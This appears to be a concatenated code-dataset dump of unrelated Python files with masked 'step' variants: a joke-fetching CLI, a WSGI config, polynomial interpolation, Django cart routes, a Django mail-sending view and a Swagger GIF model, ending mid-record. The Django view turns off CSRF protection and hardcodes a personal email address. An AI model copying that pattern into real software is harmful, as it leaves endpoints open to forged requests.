{joke['setup']}\")\n input('-> (press enter)')\n print(f\"-> {joke['punchline']}\")\n if command == 'quit':\n keepgoing = False\n else:\n print('exiting..')\n\n\nif __name__ == '__main__':\n cmdline()\n", "step-5": "from time import sleep\nimport sys\n\ndef cmdline():\n available_commands = ['help', 'quit', 'echo', 'pbar', 'joke']\n keepgoing = True\n while (keepgoing):\n typed = input(\"Type something. (Type 'help' for options)\")\n words = [w for w in typed.split(\" \")]\n command = words[0].lower()\n arguments = words[1:]\n\n if (command == ''):\n continue\n if (command not in available_commands):\n print(f\"-> {command} is an invalid command. Available commands:\", available_commands)\n continue\n\n if (command == 'help'):\n print('-> Try out the following commands', available_commands)\n if (command == 'echo'):\n print(f'-> {\" \".join(arguments)}')\n if (command == 'pbar'):\n for i in range(21):\n sys.stdout.write('\\r')\n # the exact output you're looking for:\n sys.stdout.write(\"[%-20s] %d%%\" % ('=' * i, 5 * i))\n sys.stdout.flush()\n sleep(0.25)\n print(' done!')\n\n if (command == 'joke'):\n import requests\n joke = requests.get(\"https://official-joke-api.appspot.com/random_joke\").json()\n print(f\"-> {joke['setup']}\")\n input(\"-> (press enter)\")\n print(f\"-> {joke['punchline']}\")\n\n if (command == 'quit'):\n keepgoing = False\n\n\n else:\n print(\"exiting..\")\n\n\nif __name__ == \"__main__\":\n cmdline()\n", "step-ids": [ 0, 1, 2, 3, 4 ] }

[ 0, 1, 2, 3, 4 ]

# encoding=UTF-8 # This file serves the project in production # See http://wsgi.readthedocs.org/en/latest/ from __future__ import unicode_literals from moya.wsgi import Application application = Application( "./", ["local.ini", "production.ini"], server="main", logging="prodlogging.ini" )

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{ "blob_id": "cb0be932813a144cfb51b3aa2f6e0792e49c4945", "index": 3021, "step-1": "<mask token>\n", "step-2": "<mask token>\napplication = Application('./', ['local.ini', 'production.ini'], server=\n 'main', logging='prodlogging.ini')\n", "step-3": "from __future__ import unicode_literals\nfrom moya.wsgi import Application\napplication = Application('./', ['local.ini', 'production.ini'], server=\n 'main', logging='prodlogging.ini')\n", "step-4": "# encoding=UTF-8\n\n# This file serves the project in production\n# See http://wsgi.readthedocs.org/en/latest/\n\nfrom __future__ import unicode_literals\nfrom moya.wsgi import Application\n\napplication = Application(\n \"./\", [\"local.ini\", \"production.ini\"], server=\"main\", logging=\"prodlogging.ini\"\n)\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }

[ 0, 1, 2, 3 ]

import numpy as np from scipy.linalg import solve from matplotlib import pylab as plt def f(x): return (np.sin(x / 5) * np.exp(x / 10) + 5 * np.exp(-x / 2)) xx = np.arange(1, 15, 0.1) yy = f(xx) # 1 степень x = np.array([1,15]) y = f(x) A = np.array([[1,1], [1,15]]) w = solve(A, y) y1 = w[0] + w[1]*xx plt.plot(xx, y1, '-', xx, yy, '-') plt.show() # 2 степень x = np.array([1, 8, 15]) y = f(x) A = np.array([[1,1,1], [1,8,64], [1,15,225]]) w = solve(A, y) y2 = w[0] + w[1]*xx + w[2]*(xx**2) plt.plot(xx, y2, '-', xx, yy, '-') plt.show() # 3 степень x = np.array([1, 4, 10, 15]) y = f(x) A = np.array([[1,1,1,1], [1,4,16,64], [1,10,100,1000], [1,15,225,225*15]]) w = solve(A, y) y3 = w[0] + w[1]*xx + w[2]*(xx**2) + w[3]*(xx**3) plt.plot(xx, y3, '-', xx, yy, '-') plt.show() print("w 0:4 : ", " ".join(map(str, np.round(w, 2))))

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{ "blob_id": "a610ccf4fe154ee12de9212a10958fda2000b425", "index": 7122, "step-1": "<mask token>\n\n\ndef f(x):\n return np.sin(x / 5) * np.exp(x / 10) + 5 * np.exp(-x / 2)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef f(x):\n return np.sin(x / 5) * np.exp(x / 10) + 5 * np.exp(-x / 2)\n\n\n<mask token>\nplt.plot(xx, y1, '-', xx, yy, '-')\nplt.show()\n<mask token>\nplt.plot(xx, y2, '-', xx, yy, '-')\nplt.show()\n<mask token>\nplt.plot(xx, y3, '-', xx, yy, '-')\nplt.show()\nprint('w 0:4 : ', ' '.join(map(str, np.round(w, 2))))\n", "step-3": "<mask token>\n\n\ndef f(x):\n return np.sin(x / 5) * np.exp(x / 10) + 5 * np.exp(-x / 2)\n\n\nxx = np.arange(1, 15, 0.1)\nyy = f(xx)\nx = np.array([1, 15])\ny = f(x)\nA = np.array([[1, 1], [1, 15]])\nw = solve(A, y)\ny1 = w[0] + w[1] * xx\nplt.plot(xx, y1, '-', xx, yy, '-')\nplt.show()\nx = np.array([1, 8, 15])\ny = f(x)\nA = np.array([[1, 1, 1], [1, 8, 64], [1, 15, 225]])\nw = solve(A, y)\ny2 = w[0] + w[1] * xx + w[2] * xx ** 2\nplt.plot(xx, y2, '-', xx, yy, '-')\nplt.show()\nx = np.array([1, 4, 10, 15])\ny = f(x)\nA = np.array([[1, 1, 1, 1], [1, 4, 16, 64], [1, 10, 100, 1000], [1, 15, 225,\n 225 * 15]])\nw = solve(A, y)\ny3 = w[0] + w[1] * xx + w[2] * xx ** 2 + w[3] * xx ** 3\nplt.plot(xx, y3, '-', xx, yy, '-')\nplt.show()\nprint('w 0:4 : ', ' '.join(map(str, np.round(w, 2))))\n", "step-4": "import numpy as np\nfrom scipy.linalg import solve\nfrom matplotlib import pylab as plt\n\n\ndef f(x):\n return np.sin(x / 5) * np.exp(x / 10) + 5 * np.exp(-x / 2)\n\n\nxx = np.arange(1, 15, 0.1)\nyy = f(xx)\nx = np.array([1, 15])\ny = f(x)\nA = np.array([[1, 1], [1, 15]])\nw = solve(A, y)\ny1 = w[0] + w[1] * xx\nplt.plot(xx, y1, '-', xx, yy, '-')\nplt.show()\nx = np.array([1, 8, 15])\ny = f(x)\nA = np.array([[1, 1, 1], [1, 8, 64], [1, 15, 225]])\nw = solve(A, y)\ny2 = w[0] + w[1] * xx + w[2] * xx ** 2\nplt.plot(xx, y2, '-', xx, yy, '-')\nplt.show()\nx = np.array([1, 4, 10, 15])\ny = f(x)\nA = np.array([[1, 1, 1, 1], [1, 4, 16, 64], [1, 10, 100, 1000], [1, 15, 225,\n 225 * 15]])\nw = solve(A, y)\ny3 = w[0] + w[1] * xx + w[2] * xx ** 2 + w[3] * xx ** 3\nplt.plot(xx, y3, '-', xx, yy, '-')\nplt.show()\nprint('w 0:4 : ', ' '.join(map(str, np.round(w, 2))))\n", "step-5": "import numpy as np\r\nfrom scipy.linalg import solve\r\nfrom matplotlib import pylab as plt\r\n\r\ndef f(x):\r\n return (np.sin(x / 5) * np.exp(x / 10) + 5 * np.exp(-x / 2))\r\n\r\nxx = np.arange(1, 15, 0.1)\r\nyy = f(xx)\r\n\r\n# 1 степень\r\nx = np.array([1,15])\r\ny = f(x)\r\n\r\nA = np.array([[1,1], [1,15]])\r\nw = solve(A, y)\r\n\r\ny1 = w[0] + w[1]*xx\r\n\r\nplt.plot(xx, y1, '-', xx, yy, '-')\r\nplt.show()\r\n\r\n# 2 степень\r\nx = np.array([1, 8, 15])\r\ny = f(x)\r\n\r\nA = np.array([[1,1,1], [1,8,64], [1,15,225]])\r\nw = solve(A, y)\r\n\r\ny2 = w[0] + w[1]*xx + w[2]*(xx**2)\r\n\r\nplt.plot(xx, y2, '-', xx, yy, '-')\r\nplt.show()\r\n\r\n# 3 степень\r\nx = np.array([1, 4, 10, 15])\r\ny = f(x)\r\n\r\nA = np.array([[1,1,1,1], [1,4,16,64], [1,10,100,1000], [1,15,225,225*15]])\r\nw = solve(A, y)\r\n\r\ny3 = w[0] + w[1]*xx + w[2]*(xx**2) + w[3]*(xx**3)\r\n\r\nplt.plot(xx, y3, '-', xx, yy, '-')\r\nplt.show()\r\n\r\nprint(\"w 0:4 : \", \" \".join(map(str, np.round(w, 2))))", "step-ids": [ 1, 2, 3, 4, 5 ] }

[ 1, 2, 3, 4, 5 ]

from django.conf.urls import url from cart import views urlpatterns=[ url(r'^add/$',views.cart_add,name='add'),#t添加购物车数据 url(r'^count/$',views.cart_count,name='count'),#huo获取购物车商品数量 url(r'^del/$',views.cart_del,name='delete'),#删除购物车商品记录 url(r'update/$',views.cart_update,name='update'),#更新购物车商品数目 url(r'^&',views.cart_show,name='show'),#显示用户购物车页面 ]

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{ "blob_id": "5b3a6b44bd9ea80da1983d8254c73bba3e2338e1", "index": 5166, "step-1": "<mask token>\n", "step-2": "<mask token>\nurlpatterns = [url('^add/$', views.cart_add, name='add'), url('^count/$',\n views.cart_count, name='count'), url('^del/$', views.cart_del, name=\n 'delete'), url('update/$', views.cart_update, name='update'), url('^&',\n views.cart_show, name='show')]\n", "step-3": "from django.conf.urls import url\nfrom cart import views\nurlpatterns = [url('^add/$', views.cart_add, name='add'), url('^count/$',\n views.cart_count, name='count'), url('^del/$', views.cart_del, name=\n 'delete'), url('update/$', views.cart_update, name='update'), url('^&',\n views.cart_show, name='show')]\n", "step-4": "from django.conf.urls import url \nfrom cart import views\n\nurlpatterns=[\n url(r'^add/$',views.cart_add,name='add'),#t添加购物车数据\n url(r'^count/$',views.cart_count,name='count'),#huo获取购物车商品数量\n url(r'^del/$',views.cart_del,name='delete'),#删除购物车商品记录\n url(r'update/$',views.cart_update,name='update'),#更新购物车商品数目\n url(r'^&',views.cart_show,name='show'),#显示用户购物车页面\n\n]\n\n\n\n\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }

[ 0, 1, 2, 3 ]

from django.shortcuts import render from django.contrib.auth.decorators import login_required from django.views.decorators.csrf import csrf_exempt # Create your views here. from projects.models import Project from django.db import connection from .utils import namedtuplefetchall from django.http import JsonResponse from django.contrib import messages import json from django.views.decorators.csrf import csrf_exempt from .utils import send_mail from DBMS import settings from passlib.hash import pbkdf2_sha256 as encrypto # Create your views here. @login_required @csrf_exempt def social(request): if request.method == "POST": data = request.POST project_id = int(json.loads(data.get('projid'))) head = data.get('head') head = json.loads(head) subhead = json.loads(data.get('subh')) content = json.loads(data.get('cont')) obtained = json.loads(data.get('pass')) with connection.cursor() as curr: curr.execute("SELECT manager_id,customer_id FROM socialMedia where project_id=%s",[project_id]) rec_id = namedtuplefetchall(curr) manager_id = rec_id[0].manager_id customer_id = rec_id[0].customer_id print("SENDING") with connection.cursor() as curr: curr.execute("select contact from customer where customer_id = %s",[customer_id]) email = namedtuplefetchall(curr) customer_email = email[0].contact # Rename the email field with customer_email to send to customers when we have actual data pwd = settings.EMAIL_HOST_PASSWORD if encrypto.verify(obtained,pwd) == True: #print("asjdhasd") send_mail(head,subhead+'\n'+content,'Gauri Baraskar','gauribaraskar812@gmail.com',settings.EMAIL_HOST_USER,obtained) else: messages.warning(request,"Wrong Password Entered") return JsonResponse(1,safe=False) else: with connection.cursor() as curr: curr.execute("select project.project_id,project_name from works_on,project where user_id=%s and project.project_id=works_on.project_id",[request.user.id]) res = namedtuplefetchall(curr) return render(request, 'social/index.html', {'social': res})

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{ "blob_id": "c2839046592469dfae7526f72be947126960ba19", "index": 621, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\n@login_required\n@csrf_exempt\ndef social(request):\n if request.method == 'POST':\n data = request.POST\n project_id = int(json.loads(data.get('projid')))\n head = data.get('head')\n head = json.loads(head)\n subhead = json.loads(data.get('subh'))\n content = json.loads(data.get('cont'))\n obtained = json.loads(data.get('pass'))\n with connection.cursor() as curr:\n curr.execute(\n 'SELECT manager_id,customer_id FROM socialMedia where project_id=%s'\n , [project_id])\n rec_id = namedtuplefetchall(curr)\n manager_id = rec_id[0].manager_id\n customer_id = rec_id[0].customer_id\n print('SENDING')\n with connection.cursor() as curr:\n curr.execute('select contact from customer where customer_id = %s',\n [customer_id])\n email = namedtuplefetchall(curr)\n customer_email = email[0].contact\n pwd = settings.EMAIL_HOST_PASSWORD\n if encrypto.verify(obtained, pwd) == True:\n send_mail(head, subhead + '\\n' + content, 'Gauri Baraskar',\n 'gauribaraskar812@gmail.com', settings.EMAIL_HOST_USER,\n obtained)\n else:\n messages.warning(request, 'Wrong Password Entered')\n return JsonResponse(1, safe=False)\n else:\n with connection.cursor() as curr:\n curr.execute(\n 'select project.project_id,project_name from works_on,project where user_id=%s and project.project_id=works_on.project_id'\n , [request.user.id])\n res = namedtuplefetchall(curr)\n return render(request, 'social/index.html', {'social': res})\n", "step-3": "from django.shortcuts import render\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.decorators.csrf import csrf_exempt\nfrom projects.models import Project\nfrom django.db import connection\nfrom .utils import namedtuplefetchall\nfrom django.http import JsonResponse\nfrom django.contrib import messages\nimport json\nfrom django.views.decorators.csrf import csrf_exempt\nfrom .utils import send_mail\nfrom DBMS import settings\nfrom passlib.hash import pbkdf2_sha256 as encrypto\n\n\n@login_required\n@csrf_exempt\ndef social(request):\n if request.method == 'POST':\n data = request.POST\n project_id = int(json.loads(data.get('projid')))\n head = data.get('head')\n head = json.loads(head)\n subhead = json.loads(data.get('subh'))\n content = json.loads(data.get('cont'))\n obtained = json.loads(data.get('pass'))\n with connection.cursor() as curr:\n curr.execute(\n 'SELECT manager_id,customer_id FROM socialMedia where project_id=%s'\n , [project_id])\n rec_id = namedtuplefetchall(curr)\n manager_id = rec_id[0].manager_id\n customer_id = rec_id[0].customer_id\n print('SENDING')\n with connection.cursor() as curr:\n curr.execute('select contact from customer where customer_id = %s',\n [customer_id])\n email = namedtuplefetchall(curr)\n customer_email = email[0].contact\n pwd = settings.EMAIL_HOST_PASSWORD\n if encrypto.verify(obtained, pwd) == True:\n send_mail(head, subhead + '\\n' + content, 'Gauri Baraskar',\n 'gauribaraskar812@gmail.com', settings.EMAIL_HOST_USER,\n obtained)\n else:\n messages.warning(request, 'Wrong Password Entered')\n return JsonResponse(1, safe=False)\n else:\n with connection.cursor() as curr:\n curr.execute(\n 'select project.project_id,project_name from works_on,project where user_id=%s and project.project_id=works_on.project_id'\n , [request.user.id])\n res = namedtuplefetchall(curr)\n return render(request, 'social/index.html', {'social': res})\n", "step-4": "from django.shortcuts import render\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.decorators.csrf import csrf_exempt\n# Create your views here.\nfrom projects.models import Project\nfrom django.db import connection\nfrom .utils import namedtuplefetchall\nfrom django.http import JsonResponse\nfrom django.contrib import messages\nimport json\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom .utils import send_mail\n\nfrom DBMS import settings\n\nfrom passlib.hash import pbkdf2_sha256 as encrypto\n\n# Create your views here.\n\n@login_required\n@csrf_exempt\ndef social(request):\n if request.method == \"POST\":\n data = request.POST\n project_id = int(json.loads(data.get('projid')))\n head = data.get('head')\n head = json.loads(head)\n subhead = json.loads(data.get('subh'))\n content = json.loads(data.get('cont'))\n obtained = json.loads(data.get('pass'))\n with connection.cursor() as curr:\n curr.execute(\"SELECT manager_id,customer_id FROM socialMedia where project_id=%s\",[project_id])\n rec_id = namedtuplefetchall(curr)\n manager_id = rec_id[0].manager_id\n customer_id = rec_id[0].customer_id\n print(\"SENDING\")\n\n with connection.cursor() as curr:\n curr.execute(\"select contact from customer where customer_id = %s\",[customer_id])\n email = namedtuplefetchall(curr)\n customer_email = email[0].contact\n\n # Rename the email field with customer_email to send to customers when we have actual data\n\n pwd = settings.EMAIL_HOST_PASSWORD\n if encrypto.verify(obtained,pwd) == True:\n #print(\"asjdhasd\")\n send_mail(head,subhead+'\\n'+content,'Gauri Baraskar','gauribaraskar812@gmail.com',settings.EMAIL_HOST_USER,obtained)\n else:\n messages.warning(request,\"Wrong Password Entered\")\n return JsonResponse(1,safe=False)\n\n else:\n with connection.cursor() as curr:\n curr.execute(\"select project.project_id,project_name from works_on,project where user_id=%s and project.project_id=works_on.project_id\",[request.user.id])\n res = namedtuplefetchall(curr)\n return render(request, 'social/index.html', {'social': res})\n\n\n\n\n\n\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }

[ 0, 1, 2, 3 ]

# coding: utf-8 """ Idomoo API OpenAPI spec version: 2.0 Contact: dev.support@idomoo.com """ import pprint import six class GIFOutput(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'gif_fps': 'float', 'color_depth': 'float', 'gif_loop': 'int', 'height': 'float', 'start': 'float', 'duration': 'float', 'suffix': 'str', 'overlay': 'str', 'overlay_alignment': 'list[str]', 'overlay_scale': 'str', 'label': 'str' } attribute_map = { 'gif_fps': 'gif_fps', 'color_depth': 'color_depth', 'gif_loop': 'gif_loop', 'height': 'height', 'start': 'start', 'duration': 'duration', 'suffix': 'suffix', 'overlay': 'overlay', 'overlay_alignment': 'overlay_alignment', 'overlay_scale': 'overlay_scale', 'label': 'label' } def __init__(self, gif_fps=None, color_depth=None, gif_loop=None, height=None, start=None, duration=None, suffix=None, overlay=None, overlay_alignment=None, overlay_scale='fit', label=None): """GIFOutput - a model defined in Swagger""" self._gif_fps = None self._color_depth = None self._gif_loop = None self._height = None self._start = None self._duration = None self._suffix = None self._overlay = None self._overlay_alignment = None self._overlay_scale = None self._label = None self.discriminator = None if gif_fps is not None: self.gif_fps = gif_fps if color_depth is not None: self.color_depth = color_depth if gif_loop is not None: self.gif_loop = gif_loop self.height = height self.start = start if duration is not None: self.duration = duration if suffix is not None: self.suffix = suffix if overlay is not None: self.overlay = overlay if overlay_alignment is not None: self.overlay_alignment = overlay_alignment if overlay_scale is not None: self.overlay_scale = overlay_scale if label is not None: self.label = label @property def gif_fps(self): """Gets the gif_fps of this GIFOutput. The frame rate of the GIF. Default is the Video frame rate :return: The gif_fps of this GIFOutput. :rtype: float """ return self._gif_fps @gif_fps.setter def gif_fps(self, gif_fps): """Sets the gif_fps of this GIFOutput. The frame rate of the GIF. Default is the Video frame rate :param gif_fps: The gif_fps of this GIFOutput. :type: float """ if gif_fps is not None and gif_fps > 30: raise ValueError("Invalid value for `gif_fps`, must be a value less than or equal to `30`") self._gif_fps = gif_fps @property def color_depth(self): """Gets the color_depth of this GIFOutput. Amount of colors in palette :return: The color_depth of this GIFOutput. :rtype: float """ return self._color_depth @color_depth.setter def color_depth(self, color_depth): """Sets the color_depth of this GIFOutput. Amount of colors in palette :param color_depth: The color_depth of this GIFOutput. :type: float """ self._color_depth = color_depth @property def gif_loop(self): """Gets the gif_loop of this GIFOutput. If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops. :return: The gif_loop of this GIFOutput. :rtype: int """ return self._gif_loop @gif_loop.setter def gif_loop(self, gif_loop): """Sets the gif_loop of this GIFOutput. If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops. :param gif_loop: The gif_loop of this GIFOutput. :type: int """ if gif_loop is not None and gif_loop < -1: raise ValueError("Invalid value for `gif_loop`, must be a value greater than or equal to `-1`") self._gif_loop = gif_loop @property def height(self): """Gets the height of this GIFOutput. Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically calculated to keep the aspect ratio. :return: The height of this GIFOutput. :rtype: float """ return self._height @height.setter def height(self, height): """Sets the height of this GIFOutput. Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically calculated to keep the aspect ratio. :param height: The height of this GIFOutput. :type: float """ if height is None: raise ValueError("Invalid value for `height`, must not be `None`") self._height = height @property def start(self): """Gets the start of this GIFOutput. What second of the storyboard timeline to start the GIF. :return: The start of this GIFOutput. :rtype: float """ return self._start @start.setter def start(self, start): """Sets the start of this GIFOutput. What second of the storyboard timeline to start the GIF. :param start: The start of this GIFOutput. :type: float """ if start is None: raise ValueError("Invalid value for `start`, must not be `None`") self._start = start @property def duration(self): """Gets the duration of this GIFOutput. Seconds for the duration of the GIF. Can't be longer than the video. :return: The duration of this GIFOutput. :rtype: float """ return self._duration @duration.setter def duration(self, duration): """Sets the duration of this GIFOutput. Seconds for the duration of the GIF. Can't be longer than the video. :param duration: The duration of this GIFOutput. :type: float """ self._duration = duration @property def suffix(self): """Gets the suffix of this GIFOutput. Unique ending of the file name so several outputs can be created then identified. Required if there is more then 1 video output. :return: The suffix of this GIFOutput. :rtype: str """ return self._suffix @suffix.setter def suffix(self, suffix): """Sets the suffix of this GIFOutput. Unique ending of the file name so several outputs can be created then identified. Required if there is more then 1 video output. :param suffix: The suffix of this GIFOutput. :type: str """ self._suffix = suffix @property def overlay(self): """Gets the overlay of this GIFOutput. Path to overlay image, such as: play button or watermark. :return: The overlay of this GIFOutput. :rtype: str """ return self._overlay @overlay.setter def overlay(self, overlay): """Sets the overlay of this GIFOutput. Path to overlay image, such as: play button or watermark. :param overlay: The overlay of this GIFOutput. :type: str """ self._overlay = overlay @property def overlay_alignment(self): """Gets the overlay_alignment of this GIFOutput. Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is X. The second is Y. :return: The overlay_alignment of this GIFOutput. :rtype: list[str] """ return self._overlay_alignment @overlay_alignment.setter def overlay_alignment(self, overlay_alignment): """Sets the overlay_alignment of this GIFOutput. Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is X. The second is Y. :param overlay_alignment: The overlay_alignment of this GIFOutput. :type: list[str] """ allowed_values = ["left", "center", "right", "top", "middle", "bottom"] if not set(overlay_alignment).issubset(set(allowed_values)): raise ValueError( "Invalid values for `overlay_alignment` [{0}], must be a subset of [{1}]" .format(", ".join(map(str, set(overlay_alignment) - set(allowed_values))), ", ".join(map(str, allowed_values))) ) self._overlay_alignment = overlay_alignment @property def overlay_scale(self): """Gets the overlay_scale of this GIFOutput. Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the image according to the alignment settings. * Fill: scale the image up or down so it completely fills the video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't resize the overlay image. :return: The overlay_scale of this GIFOutput. :rtype: str """ return self._overlay_scale @overlay_scale.setter def overlay_scale(self, overlay_scale): """Sets the overlay_scale of this GIFOutput. Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the image according to the alignment settings. * Fill: scale the image up or down so it completely fills the video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't resize the overlay image. :param overlay_scale: The overlay_scale of this GIFOutput. :type: str """ allowed_values = ["fit", "fill", "none"] if overlay_scale not in allowed_values: raise ValueError( "Invalid value for `overlay_scale` ({0}), must be one of {1}" .format(overlay_scale, allowed_values) ) self._overlay_scale = overlay_scale @property def label(self): """Gets the label of this GIFOutput. This label is another way to identify this specific output. The label is returned in the response, but does not appear in the file name. :return: The label of this GIFOutput. :rtype: str """ return self._label @label.setter def label(self, label): """Sets the label of this GIFOutput. This label is another way to identify this specific output. The label is returned in the response, but does not appear in the file name. :param label: The label of this GIFOutput. :type: str """ self._label = label def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, GIFOutput): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other

normal

{ "blob_id": "2362c9a12f97f32f6136aaf16a55cf4acbaf9294", "index": 4753, "step-1": "<mask token>\n\n\nclass GIFOutput(object):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __init__(self, gif_fps=None, color_depth=None, gif_loop=None,\n height=None, start=None, duration=None, suffix=None, overlay=None,\n overlay_alignment=None, overlay_scale='fit', label=None):\n \"\"\"GIFOutput - a model defined in Swagger\"\"\"\n self._gif_fps = None\n self._color_depth = None\n self._gif_loop = None\n self._height = None\n self._start = None\n self._duration = None\n self._suffix = None\n self._overlay = None\n self._overlay_alignment = None\n self._overlay_scale = None\n self._label = None\n self.discriminator = None\n if gif_fps is not None:\n self.gif_fps = gif_fps\n if color_depth is not None:\n self.color_depth = color_depth\n if gif_loop is not None:\n self.gif_loop = gif_loop\n self.height = height\n self.start = start\n if duration is not None:\n self.duration = duration\n if suffix is not None:\n self.suffix = suffix\n if overlay is not None:\n self.overlay = overlay\n if overlay_alignment is not None:\n self.overlay_alignment = overlay_alignment\n if overlay_scale is not None:\n self.overlay_scale = overlay_scale\n if label is not None:\n self.label = label\n\n @property\n def gif_fps(self):\n \"\"\"Gets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :return: The gif_fps of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._gif_fps\n\n @gif_fps.setter\n def gif_fps(self, gif_fps):\n \"\"\"Sets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :param gif_fps: The gif_fps of this GIFOutput.\n :type: float\n \"\"\"\n if gif_fps is not None and gif_fps > 30:\n raise ValueError(\n 'Invalid value for `gif_fps`, must be a value less than or equal to `30`'\n )\n self._gif_fps = gif_fps\n\n @property\n def color_depth(self):\n \"\"\"Gets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :return: The color_depth of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._color_depth\n\n @color_depth.setter\n def color_depth(self, color_depth):\n \"\"\"Sets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :param color_depth: The color_depth of this GIFOutput.\n :type: float\n \"\"\"\n self._color_depth = color_depth\n\n @property\n def gif_loop(self):\n \"\"\"Gets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :return: The gif_loop of this GIFOutput.\n :rtype: int\n \"\"\"\n return self._gif_loop\n\n @gif_loop.setter\n def gif_loop(self, gif_loop):\n \"\"\"Sets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :param gif_loop: The gif_loop of this GIFOutput.\n :type: int\n \"\"\"\n if gif_loop is not None and gif_loop < -1:\n raise ValueError(\n 'Invalid value for `gif_loop`, must be a value greater than or equal to `-1`'\n )\n self._gif_loop = gif_loop\n <mask token>\n\n @height.setter\n def height(self, height):\n \"\"\"Sets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :param height: The height of this GIFOutput.\n :type: float\n \"\"\"\n if height is None:\n raise ValueError('Invalid value for `height`, must not be `None`')\n self._height = height\n\n @property\n def start(self):\n \"\"\"Gets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :return: The start of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._start\n\n @start.setter\n def start(self, start):\n \"\"\"Sets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :param start: The start of this GIFOutput.\n :type: float\n \"\"\"\n if start is None:\n raise ValueError('Invalid value for `start`, must not be `None`')\n self._start = start\n\n @property\n def duration(self):\n \"\"\"Gets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :return: The duration of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._duration\n\n @duration.setter\n def duration(self, duration):\n \"\"\"Sets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :param duration: The duration of this GIFOutput.\n :type: float\n \"\"\"\n self._duration = duration\n\n @property\n def suffix(self):\n \"\"\"Gets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :return: The suffix of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._suffix\n\n @suffix.setter\n def suffix(self, suffix):\n \"\"\"Sets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :param suffix: The suffix of this GIFOutput.\n :type: str\n \"\"\"\n self._suffix = suffix\n\n @property\n def overlay(self):\n \"\"\"Gets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :return: The overlay of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay\n\n @overlay.setter\n def overlay(self, overlay):\n \"\"\"Sets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :param overlay: The overlay of this GIFOutput.\n :type: str\n \"\"\"\n self._overlay = overlay\n\n @property\n def overlay_alignment(self):\n \"\"\"Gets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :return: The overlay_alignment of this GIFOutput.\n :rtype: list[str]\n \"\"\"\n return self._overlay_alignment\n\n @overlay_alignment.setter\n def overlay_alignment(self, overlay_alignment):\n \"\"\"Sets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :param overlay_alignment: The overlay_alignment of this GIFOutput.\n :type: list[str]\n \"\"\"\n allowed_values = ['left', 'center', 'right', 'top', 'middle', 'bottom']\n if not set(overlay_alignment).issubset(set(allowed_values)):\n raise ValueError(\n 'Invalid values for `overlay_alignment` [{0}], must be a subset of [{1}]'\n .format(', '.join(map(str, set(overlay_alignment) - set(\n allowed_values))), ', '.join(map(str, allowed_values))))\n self._overlay_alignment = overlay_alignment\n\n @property\n def overlay_scale(self):\n 